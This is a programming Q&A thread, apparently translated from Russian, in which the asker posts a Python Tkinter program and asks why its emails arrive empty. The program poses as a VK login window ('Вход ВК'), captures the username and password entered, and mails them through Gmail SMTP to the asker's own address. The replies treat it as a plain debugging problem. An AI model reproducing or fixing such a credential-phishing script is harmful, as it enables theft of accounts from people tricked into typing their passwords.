I wrote a program that should send me a line of text (content variable). I receive an empty letter in the mail, although when debugging it is clear that the variable is correctly filled. What am I doing wrong? Thank you in advance

import smtplib from tkinter import * from tkinter import messagebox def destr(): a = login.get() b = parol.get() content = 'Login: ' + str(a) + ', ' + 'password: ' + str(b) mail = smtplib.SMTP('smtp.gmail.com', 587) mail.ehlo() mail.starttls() mail.login('komp.lord@gmail.com','########не скажу') mail.sendmail('komp.lord@gmail.com', 'komp.lord@gmail.com', content) okno.destroy() okno = Tk() okno.title('Вход ВК') okno.geometry('500x500') login = StringVar() EmailOrPhone = Entry(okno, textvariable = login).pack() parol = StringVar() Password = Entry(okno, textvariable = parol).pack() knopka = Button(okno, text = 'Я ввёл логин и пароль', command = destr, fg = 'black', bg = 'white').pack() okno.mainloop()

Once upon a time (when I started learning Python) I wrote for one project:

    • the code is an exact duplicate of another answer , unfortunately, one of the participants does not consider this a duplicate (without good reason). Therefore we multiply the answers unnecessarily. - jfs

    Instead of sending a text message, I attached a text file, and it worked.

    • How does this solve your problem: "I receive an empty letter in the mail" ? What happens if you run the code from the response (substituting your login, password) ? (I used this code repeatedly and it works with all email providers I have tried. Of course, a non-empty letter arrives) - jfs
